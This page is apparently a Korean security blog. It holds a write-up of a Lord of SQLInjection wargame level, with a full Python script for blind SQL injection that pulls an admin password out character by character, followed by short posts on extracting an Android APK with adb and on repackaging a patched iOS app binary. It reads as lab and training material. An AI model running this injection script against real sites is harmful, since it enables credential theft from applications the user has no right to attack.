이번 문제는 id = admin 을 변경할 수 없어서 이전문제를 풀듯이 id에 들어가는 입력값을 통해 pw 우회가 불가능하다.

그래서 결국은 pw를 일일이 찾아야 한다는 뜻인데...

일단 pw ='' 이 부분을 true로 만든 후에 blind injection을 해야 한다.

pw='' or 1=1 and (blind injection code) # '  이런식이다.

그래서 python 자동화코드를 짜면 짧은 시간 내에 풀이가 가능하다.

가장먼저 할 것은, pw의 길이 찾기

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = " 'or id = 'admin' and length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

두번째는 pw 한글자씩 찾기

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #유니코드값 48번부터 122번

            # ord():문자 -> 아스키코드값 substr(대상,찾을 위치,찾을 갯수): 문자열에서 1개씩 문자 찾기 
            value=" 'or id = 'admin' and ord(substr(pw,{},1))={} #".format(i,j)  
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 유니코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

전체 코드

import requests

url ="" #공격URL
cookies ={"PHPSESSID": "~~~~~~~~~"} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = " 'or id = 'admin' and length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num


#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번

            # ord():문자 -> 아스키코드값 substr(대상,찾을 위치,찾을 갯수): 문자열에서 1개씩 문자 찾기 
            value=" 'or id = 'admin' and ord(substr(pw,{},1))={} #".format(i,j)  
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main
pw_real(pw_len())

자동화코드를 돌리면 pw를 찾을 수 있다.

 

* PHP 함수 정리

ord () : 문자 -> 아스키코드값 변환

substr(문자열, 시작위치, 1) : 문자열에서 문자 1개씩 검색

chr() : 아스키코드값 -> 문자 변환

 

 

solve!!!!!

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step.6 darkelf 풀이  (0) 2023.06.12
[LOS] step.5 wolfman풀이  (0) 2023.06.12
[LOS] step.3 goblin 풀이  (0) 2023.06.12
[LOS] step.2 cobolt 풀이  (0) 2023.05.24
[LOS] step.1 GREMLIN 풀이  (0) 2023.05.24

'WEB' 카테고리의 다른 글

CSTI XSS  (0) 2023.08.26
API 이해  (0) 2023.07.06
톰캣 보안 조치  (0) 2023.05.25
웹해킹 테스트 게시판 만들기 - 2  (0) 2023.05.24
웹해킹 테스트 게시판 만들기 - 1  (0) 2023.05.24

adb 이용하여 추출

1. adb 설치 후 adb shell 실행

2. 단말기에서 usb 디버깅 허용 (위와 같이 디버깅 허용하지 않으면 error : device unauthorized 뜸

3. su 명령어로 최고 사용자로 권한 변경

4. pm list packages -f  

이를 이욯하여 apk 추출할 package 이름 복사해두기!

5. adb pull [패키지명] [ 추출 후 apk 이름]

6. 그러면 Users/사용자명 위치에 apk 발견!!

 

이를 이용하여 apk manager로 해제 진행

'Mobile > Android' 카테고리의 다른 글

안드로이드 모바일 모의해킹 진단 기초  (0) 2023.04.16

기존에 알고 있던 방식

1. CrackerXI+ 로 앱 추출 후 내부에 있는 바이너리 파일 1개만 덮어쓰기하여서 우회가 되었는지 테스트함.

1-1. 이렇게 했더니 아예 원본 바이너리파일을 넣어도 똑같이 튕기길래 왜 안되지.. 하고 

1-2. 프리다로도 해봤는데 프리다 오류 발생

그래서 찾은 방법이

2. 바이너리 파일 1개만 덮어쓰기 한 게 아니라 바이너리 파일을 변조한 뒤에 해당 폴더 전체를 .ipa 압축 해체 전에 덮어쓰기

2-1. 예를 들어, testApp을 crackerXI 로 추출했다면...

.ipa를 압축해제한 게 : testApp_CrackerXI

testApp_CrackerXI 내부 폴더 : Payload

 Payload 폴더 안에 해당 앱 내부가 위와 같이 담겨져 있음.

그래서 예전에는 위 폴더 위치에서 바이너리파일을 찾아서 변조하고 해당 바이너리파일만 옮겨서 테스트했다면..

새로 시도한 방법은 변조한 바이너리파일이 담긴 payload 폴더 자체를 덮어쓰기했다는 것!!!

압축해제하지 않고 Payload 폴더 자체를 덮어쓰기!!!

* 그전에는 설치된 앱 안에 있는 1개의 파일만 수정한거라면... 이 방법은 새로 변조된 앱 자체를 재설치하는 느낌!!!! .ipa 파일을 설치하는 느낌!!

'Mobile > IOS' 카테고리의 다른 글

아이폰 탈옥  (0) 2023.06.07
IOS 모의해킹 첫 단계..  (0) 2023.04.10

+ Recent posts